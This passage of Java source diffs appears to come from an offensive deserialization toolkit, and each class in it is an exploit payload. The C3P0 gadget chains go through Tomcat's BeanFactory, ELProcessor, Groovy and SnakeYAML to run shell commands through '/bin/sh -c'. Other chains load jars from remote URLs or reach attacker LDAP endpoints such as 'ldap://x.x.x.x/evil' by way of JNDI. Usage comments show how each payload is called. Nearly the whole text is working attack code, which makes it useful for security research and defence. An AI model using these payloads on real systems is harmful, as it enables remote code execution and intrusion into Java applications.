|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
|
||||
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
|
||||
|
||||
/**
|
||||
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class C3P02 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (command.startsWith("LF-")) {
|
||||
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
|
||||
} else {
|
||||
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
|
||||
}
|
||||
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String cmd;
|
||||
|
||||
public PoolSource(String cmd) {
|
||||
this.cmd = cmd;
|
||||
}
|
||||
|
||||
public Reference getReference() {
|
||||
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "QI4L=eval"));
|
||||
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
|
||||
return ref;
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,77 +1,77 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* 同 C3P0 2 只不过使用了 Groovy
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class C3P03 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String cmd;
|
||||
|
||||
public PoolSource(String cmd) {
|
||||
this.cmd = cmd;
|
||||
}
|
||||
|
||||
public Reference getReference() {
|
||||
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
|
||||
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
|
||||
return ref;
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* 同 C3P0 2 只不过使用了 Groovy
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class C3P03 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String cmd;
|
||||
|
||||
public PoolSource(String cmd) {
|
||||
this.cmd = cmd;
|
||||
}
|
||||
|
||||
public Reference getReference() {
|
||||
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
|
||||
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
|
||||
return ref;
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,154 +1,154 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.HexUtils;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintWriter;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* 同上 只不过使用了 snakeyaml
|
||||
* 加了一些常见的 Gadget,有点套娃的感觉了
|
||||
* <p>
|
||||
* 用法:
|
||||
* 远程加载 Jar 包
|
||||
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
|
||||
* <p>
|
||||
* 向服务器写入 Jar 包并加载(不出网)
|
||||
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
|
||||
* C3P04 'localJar-./yaml.jar'
|
||||
* <p>
|
||||
* C3P0 二次反序列化
|
||||
* C3P04 'c3p0Double-/usr/CC6.ser'
|
||||
* <p>
|
||||
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI
|
||||
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
|
||||
* C3P04 'jndi-ldap://x.x.x.x/evil'
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class C3P04 implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf('-');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <type>:<cmd>");
|
||||
}
|
||||
|
||||
String[] parts = command.split("-");
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String cmd;
|
||||
|
||||
private final String type;
|
||||
|
||||
public PoolSource(String type, String cmd) {
|
||||
this.type = type;
|
||||
this.cmd = cmd;
|
||||
}
|
||||
|
||||
public Reference getReference() {
|
||||
|
||||
String yaml = "";
|
||||
|
||||
switch (type) {
|
||||
case "remoteJar":
|
||||
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"" + cmd + "\"]\n" +
|
||||
" ]]\n" +
|
||||
"]";
|
||||
break;
|
||||
case "localJar":
|
||||
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"file://" + cmd + "\"]\n" +
|
||||
" ]]\n" +
|
||||
"]";
|
||||
break;
|
||||
case "writeJar":
|
||||
String[] parts = cmd.split(":");
|
||||
try {
|
||||
yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
break;
|
||||
case "c3p0Double":
|
||||
try {
|
||||
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
|
||||
String hexString = HexUtils.bytesToHexString(data, data.length);
|
||||
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
|
||||
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
break;
|
||||
case "c3p0Jndi":
|
||||
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
|
||||
"jndiName: " + cmd + "\n" +
|
||||
"loginTimeout: 0";
|
||||
break;
|
||||
case "jndi":
|
||||
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
|
||||
"dataSourceName: " + cmd + "\n" +
|
||||
"autoCommit: true";
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
||||
true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "QI4L=load"));
|
||||
ref.add(new StringRefAddr("QI4L", yaml));
|
||||
return ref;
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.HexUtils;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintWriter;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* 同上 只不过使用了 snakeyaml
|
||||
* 加了一些常见的 Gadget,有点套娃的感觉了
|
||||
* <p>
|
||||
* 用法:
|
||||
* 远程加载 Jar 包
|
||||
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
|
||||
* <p>
|
||||
* 向服务器写入 Jar 包并加载(不出网)
|
||||
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
|
||||
* C3P04 'localJar-./yaml.jar'
|
||||
* <p>
|
||||
* C3P0 二次反序列化
|
||||
* C3P04 'c3p0Double-/usr/CC6.ser'
|
||||
* <p>
|
||||
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI
|
||||
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
|
||||
* C3P04 'jndi-ldap://x.x.x.x/evil'
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class C3P04 implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf('-');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <type>:<cmd>");
|
||||
}
|
||||
|
||||
String[] parts = command.split("-");
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String cmd;
|
||||
|
||||
private final String type;
|
||||
|
||||
public PoolSource(String type, String cmd) {
|
||||
this.type = type;
|
||||
this.cmd = cmd;
|
||||
}
|
||||
|
||||
public Reference getReference() {
|
||||
|
||||
String yaml = "";
|
||||
|
||||
switch (type) {
|
||||
case "remoteJar":
|
||||
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"" + cmd + "\"]\n" +
|
||||
" ]]\n" +
|
||||
"]";
|
||||
break;
|
||||
case "localJar":
|
||||
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"file://" + cmd + "\"]\n" +
|
||||
" ]]\n" +
|
||||
"]";
|
||||
break;
|
||||
case "writeJar":
|
||||
String[] parts = cmd.split(":");
|
||||
try {
|
||||
yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
break;
|
||||
case "c3p0Double":
|
||||
try {
|
||||
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
|
||||
String hexString = HexUtils.bytesToHexString(data, data.length);
|
||||
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
|
||||
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
break;
|
||||
case "c3p0Jndi":
|
||||
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
|
||||
"jndiName: " + cmd + "\n" +
|
||||
"loginTimeout: 0";
|
||||
break;
|
||||
case "jndi":
|
||||
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
|
||||
"dataSourceName: " + cmd + "\n" +
|
||||
"autoCommit: true";
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
||||
true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "QI4L=load"));
|
||||
ref.add(new StringRefAddr("QI4L", yaml));
|
||||
return ref;
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,99 +1,99 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
|
||||
/**
|
||||
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class C3P092 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||
}
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
|
||||
|
||||
ClassPool pool = new ClassPool();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
|
||||
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
|
||||
|
||||
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
|
||||
|
||||
// mock method name until armed
|
||||
final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(
|
||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||
);
|
||||
|
||||
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
|
||||
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String className;
|
||||
|
||||
private final String url;
|
||||
|
||||
public PoolSource(String className, String url) {
|
||||
this.className = className;
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
public Reference getReference() {
|
||||
return new Reference("exploit", this.className, this.url);
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
|
||||
/**
|
||||
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class C3P092 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||
}
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
|
||||
|
||||
ClassPool pool = new ClassPool();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
|
||||
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
|
||||
|
||||
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
|
||||
|
||||
// mock method name until armed
|
||||
final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(
|
||||
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
|
||||
);
|
||||
|
||||
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
|
||||
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String className;
|
||||
|
||||
private final String url;
|
||||
|
||||
public PoolSource(String className, String url) {
|
||||
this.className = className;
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
public Reference getReference() {
|
||||
return new Reference("exploit", this.className, this.url);
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,39 +1,39 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.mchange.v2.c3p0.ComboPooledDataSource;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||
@Authors({Authors.UNAM4})
|
||||
public class C3P0JDBC implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (!command.toLowerCase().startsWith("jdbc:")) {
|
||||
throw new Exception("Command format is: eviljdbcurl");
|
||||
}
|
||||
|
||||
ComboPooledDataSource o = new ComboPooledDataSource();
|
||||
o.setJdbcUrl(command);
|
||||
o.setMaxIdleTime(1);
|
||||
o.setMaxPoolSize(1);
|
||||
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(o);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap<ComboPooledDataSource, BadAttributeValueExpException> hashMap = new HashMap<>();
|
||||
hashMap.put(o, val);
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.mchange.v2.c3p0.ComboPooledDataSource;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||
@Authors({Authors.UNAM4})
|
||||
public class C3P0JDBC implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (!command.toLowerCase().startsWith("jdbc:")) {
|
||||
throw new Exception("Command format is: eviljdbcurl");
|
||||
}
|
||||
|
||||
ComboPooledDataSource o = new ComboPooledDataSource();
|
||||
o.setJdbcUrl(command);
|
||||
o.setMaxIdleTime(1);
|
||||
o.setMaxPoolSize(1);
|
||||
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(o);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
